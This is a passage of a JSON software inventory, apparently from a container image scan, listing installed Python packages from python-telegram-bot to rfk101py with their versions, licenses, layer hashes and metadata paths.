"sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_telegram_bot-22.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-vlc", "Identifier": { "PURL": "pkg:pypi/python-vlc@3.0.18122", "UID": "7698f7d62ca16f90" }, "Version": "3.0.18122", "Licenses": [ "LGPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_vlc-3.0.18122.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-xbox", "Identifier": { "PURL": "pkg:pypi/python-xbox@0.2.0", "UID": "f5b9d46d9e56a587" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_xbox-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python_linkplay", "Identifier": { "PURL": "pkg:pypi/python-linkplay@0.2.14", "UID": "d493d95ab109dc44" }, "Version": "0.2.14", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_linkplay-0.2.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python_open_router", "Identifier": { "PURL": "pkg:pypi/python-open-router@0.3.3", "UID": "67bde225b85aaa63" }, "Version": "0.3.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_open_router-0.3.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python_opendata_transport", "Identifier": { "PURL": "pkg:pypi/python-opendata-transport@0.5.0", "UID": "3c183b878c91d9d4" }, "Version": "0.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_opendata_transport-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python_openevse_http", "Identifier": { "PURL": "pkg:pypi/python-openevse-http@1.0.1", "UID": "2c66b750d20eda7" }, "Version": "1.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_openevse_http-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python_opensky", "Identifier": { "PURL": "pkg:pypi/python-opensky@1.0.1", "UID": "8df51cfe9c2498cc" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_opensky-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python_overseerr", "Identifier": { "PURL": "pkg:pypi/python-overseerr@0.9.0", "UID": "a857f07d97347784" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/python_overseerr-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pythonegardia", "Identifier": { "PURL": "pkg:pypi/pythonegardia@1.0.52", "UID": "4d3f97bb82957ae7" }, "Version": "1.0.52", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pythonegardia-1.0.52.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pythonkuma", "Identifier": { "PURL": "pkg:pypi/pythonkuma@0.5.1", "UID": "5a7f0cc71349284e" }, "Version": "0.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pythonkuma-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytile", "Identifier": { "PURL": "pkg:pypi/pytile@2024.12.0", "UID": "ff71b39c04ff4043" }, "Version": "2024.12.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytile-2024.12.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytomorrowio", "Identifier": { "PURL": "pkg:pypi/pytomorrowio@0.3.6", "UID": "7528d947fbeccd33" }, "Version": "0.3.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytomorrowio-0.3.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytouchline_extended", "Identifier": { "PURL": "pkg:pypi/pytouchline-extended@0.4.5", "UID": "74dab9e4c0322535" }, "Version": "0.4.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytouchline_extended-0.4.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytouchlinesl", "Identifier": { "PURL": "pkg:pypi/pytouchlinesl@0.6.0", "UID": "750d88bb37298428" }, "Version": "0.6.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytouchlinesl-0.6.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytraccar", "Identifier": { "PURL": "pkg:pypi/pytraccar@3.0.0", "UID": "f4fc36022a84b61f" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytraccar-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytradfri", "Identifier": { "PURL": "pkg:pypi/pytradfri@9.0.1", "UID": "6ed995772c555d34" }, "Version": "9.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytradfri-9.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytrafikverket", "Identifier": { "PURL": "pkg:pypi/pytrafikverket@1.1.1", "UID": "aa5ae33fa8924255" }, "Version": "1.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytrafikverket-1.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytrydan", "Identifier": { "PURL": "pkg:pypi/pytrydan@1.0.2", "UID": "e4924c31839fce77" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytrydan-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pytz", "Identifier": { "PURL": "pkg:pypi/pytz@2026.2", "UID": "e3eb9d0ad3c11fbe" }, "Version": "2026.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pytz-2026.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyuptimerobot", "Identifier": { "PURL": "pkg:pypi/pyuptimerobot@25.0.0", "UID": "da47fbae72a016b3" }, "Version": "25.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyuptimerobot-25.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyusb", "Identifier": { "PURL": "pkg:pypi/pyusb@1.3.1", "UID": "a78654b2b87ce889" }, "Version": "1.3.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyusb-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyvera", "Identifier": { "PURL": "pkg:pypi/pyvera@0.3.16", "UID": "d57d26326e8bc6a1" }, "Version": "0.3.16", "Licenses": [ "GPL-2.0-only", "Other/Proprietary License" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyvera-0.3.16.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyversasense", "Identifier": { "PURL": "pkg:pypi/pyversasense@0.0.6", "UID": "91187b7f445ec924" }, "Version": "0.0.6", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyversasense-0.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyvesync", "Identifier": { "PURL": "pkg:pypi/pyvesync@3.4.2", "UID": "acb0b52b3093d2b2" }, "Version": "3.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyvesync-3.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyvizio", "Identifier": { "PURL": "pkg:pypi/pyvizio@0.1.64", "UID": "82726e9605781225" }, "Version": "0.1.64", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyvizio-0.1.64.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyvlx", "Identifier": { "PURL": "pkg:pypi/pyvlx@0.2.36", "UID": "4861d63b4579d4e6" }, "Version": "0.2.36", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyvlx-0.2.36.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyvolumio", "Identifier": { "PURL": "pkg:pypi/pyvolumio@0.1.5", "UID": "d631c90643fcc0fd" }, "Version": "0.1.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyvolumio-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pywaze", "Identifier": { "PURL": "pkg:pypi/pywaze@1.2.0", "UID": "309fa773d85f9664" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pywaze-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyweatherflowudp", "Identifier": { "PURL": "pkg:pypi/pyweatherflowudp@1.5.2", "UID": "e15276bc4ca6cdac" }, "Version": "1.5.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyweatherflowudp-1.5.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pywebpush", "Identifier": { "PURL": "pkg:pypi/pywebpush@2.3.0", "UID": "26762acc8429467a" }, "Version": "2.3.0", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pywebpush-2.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pywemo", "Identifier": { "PURL": "pkg:pypi/pywemo@1.4.0", "UID": "c15772c113409cb2" }, "Version": "1.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pywemo-1.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pywilight", "Identifier": { "PURL": "pkg:pypi/pywilight@0.0.74", "UID": "249abcd0d1eaa8a0" }, "Version": "0.0.74", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pywilight-0.0.74.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pywizlight", "Identifier": { "PURL": "pkg:pypi/pywizlight@0.6.3", "UID": "60209caba84e944d" }, "Version": "0.6.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pywizlight-0.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pywmspro", "Identifier": { "PURL": "pkg:pypi/pywmspro@0.4.2", "UID": "4965c3bf3cec4630" }, "Version": "0.4.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pywmspro-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyws66i", "Identifier": { "PURL": "pkg:pypi/pyws66i@1.1", "UID": "80c683f9e7a90650" }, "Version": "1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyws66i-1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyxeoma", "Identifier": { "PURL": "pkg:pypi/pyxeoma@1.4.2", "UID": "2ec8b0a144d9df90" }, "Version": "1.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyxeoma-1.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyyardian", "Identifier": { "PURL": "pkg:pypi/pyyardian@1.4.1", "UID": "6518242a71a1cf58" }, "Version": "1.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyyardian-1.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyzbar", "Identifier": { "PURL": "pkg:pypi/pyzbar@0.1.9", "UID": "6689ec3eb12d0492" }, "Version": "0.1.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyzbar-0.1.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyzerproc", "Identifier": { "PURL": "pkg:pypi/pyzerproc@0.4.8", "UID": "1c8f4040f428a19" }, "Version": "0.4.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyzerproc-0.4.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyzipper", "Identifier": { "PURL": "pkg:pypi/pyzipper@0.4.0", "UID": "e476273125f52de1" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyzipper-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "qbittorrent-api", "Identifier": { "PURL": "pkg:pypi/qbittorrent-api@2026.5.1", "UID": "c666a0b7d61b96b0" }, "Version": "2026.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/qbittorrent_api-2026.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "qbusmqttapi", "Identifier": { "PURL": "pkg:pypi/qbusmqttapi@1.5.1", "UID": "cd050b7fec9d8df0" }, "Version": "1.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/qbusmqttapi-1.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "qingping-ble", "Identifier": { "PURL": "pkg:pypi/qingping-ble@1.1.5", "UID": "e452e82b4d041e19" }, "Version": "1.1.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/qingping_ble-1.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "qnapstats", "Identifier": { "PURL": "pkg:pypi/qnapstats@0.4.0", "UID": "91c62377147ed62" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/qnapstats-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "quantum-gateway", "Identifier": { "PURL": "pkg:pypi/quantum-gateway@0.0.8", "UID": "c39dd24a6db2668c" }, "Version": "0.0.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/quantum_gateway-0.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "radios", "Identifier": { "PURL": "pkg:pypi/radios@0.3.2", "UID": "5c5cb96075f14e8e" }, "Version": "0.3.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/radios-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "radiotherm", "Identifier": { "PURL": "pkg:pypi/radiotherm@2.1.0", "UID": "17d7d7b5b46949b3" }, "Version": "2.1.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/radiotherm-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "raincloudy", "Identifier": { "PURL": "pkg:pypi/raincloudy@0.0.7", "UID": "912dbbf99c308cce" }, "Version": "0.0.7", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/raincloudy-0.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rapt-ble", "Identifier": { "PURL": "pkg:pypi/rapt-ble@0.1.2", "UID": "53c21bd667d6224e" }, "Version": "0.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rapt_ble-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "raspyrfm-client", "Identifier": { "PURL": "pkg:pypi/raspyrfm-client@1.2.9", "UID": "b90be88ab70a4a62" }, "Version": "1.2.9", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/raspyrfm_client-1.2.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ratelimit", "Identifier": { "PURL": "pkg:pypi/ratelimit@2.2.1", "UID": "1e44c3da504186b6" }, "Version": "2.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ratelimit-2.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "reactivex", "Identifier": { "PURL": "pkg:pypi/reactivex@4.1.0", "UID": "2634aa1d866f8464" }, "Version": "4.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/reactivex-4.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "recurring-ical-events", "Identifier": { "PURL": "pkg:pypi/recurring-ical-events@3.8.2", "UID": "83bcdf29d17f321f" }, "Version": "3.8.2", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/recurring_ical_events-3.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "redgtech-api", "Identifier": { "PURL": "pkg:pypi/redgtech-api@0.1.38", "UID": "8e4052daedaea93f" }, "Version": "0.1.38", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/redgtech_api-0.1.38.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "referencing", "Identifier": { "PURL": "pkg:pypi/referencing@0.37.0", "UID": "c82e5e837e712fb3" }, "Version": "0.37.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/referencing-0.37.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "refoss_ha", "Identifier": { "PURL": "pkg:pypi/refoss-ha@1.2.5", "UID": "7f044c6f1c9b16d7" }, "Version": "1.2.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/refoss_ha-1.2.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "regenmaschine", "Identifier": { "PURL": "pkg:pypi/regenmaschine@2024.3.0", "UID": "f22ee97b082b09e" }, "Version": "2024.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/regenmaschine-2024.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "regex", "Identifier": { "PURL": "pkg:pypi/regex@2026.7.10", "UID": "e99685349156427d" }, "Version": "2026.7.10", "Licenses": [ "Apache-2.0 AND CNRI-Python" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/regex-2026.7.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "renault-api", "Identifier": { "PURL": "pkg:pypi/renault-api@0.5.12", "UID": "ab0ab044c77f3be" }, "Version": "0.5.12", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/renault_api-0.5.12.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "renson-endura-delta", "Identifier": { "PURL": "pkg:pypi/renson-endura-delta@1.7.2", "UID": "9fb8e3b3f2a95910" }, "Version": "1.7.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/renson_endura_delta-1.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "reolink_aio", "Identifier": { "PURL": "pkg:pypi/reolink-aio@0.21.4", "UID": "6d4b30863a682868" }, "Version": "0.21.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/reolink_aio-0.21.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests", "Identifier": { "PURL": "pkg:pypi/requests@2.34.2", "UID": "6384a6c66cab0d2" }, "Version": "2.34.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/requests-2.34.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests-file", "Identifier": { "PURL": "pkg:pypi/requests-file@3.0.1", "UID": "95ae7b9dbdcfff8" }, "Version": "3.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/requests_file-3.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests-oauthlib", "Identifier": { "PURL": "pkg:pypi/requests-oauthlib@2.0.0", "UID": "7ddf79f40f245337" }, "Version": "2.0.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/requests_oauthlib-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "requests-toolbelt", "Identifier": { "PURL": "pkg:pypi/requests-toolbelt@1.0.0", "UID": "a84f7707a8f23347" }, "Version": "1.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/requests_toolbelt-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "retry2", "Identifier": { "PURL": "pkg:pypi/retry2@0.9.5", "UID": "8fcf4fad3fa93b0f" }, "Version": "0.9.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/retry2-0.9.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "reverse_geocode", "Identifier": { "PURL": "pkg:pypi/reverse-geocode@1.6.5", "UID": "b30b8d206fdacaf" }, "Version": "1.6.5", "Licenses": [ "LGPL-2.1-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/reverse_geocode-1.6.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rf-protocols", "Identifier": { "PURL": "pkg:pypi/rf-protocols@4.3.0", "UID": "fe2b719eb38611c7" }, "Version": "4.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/rf_protocols-4.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rfk101py", "Identifier": { "PURL": "pkg:pypi/rfk101py@0.0.1", "UID": "4f9f96dc04383d69" }, "Version": "0.0.1", "Licenses": [ "MIT" ], 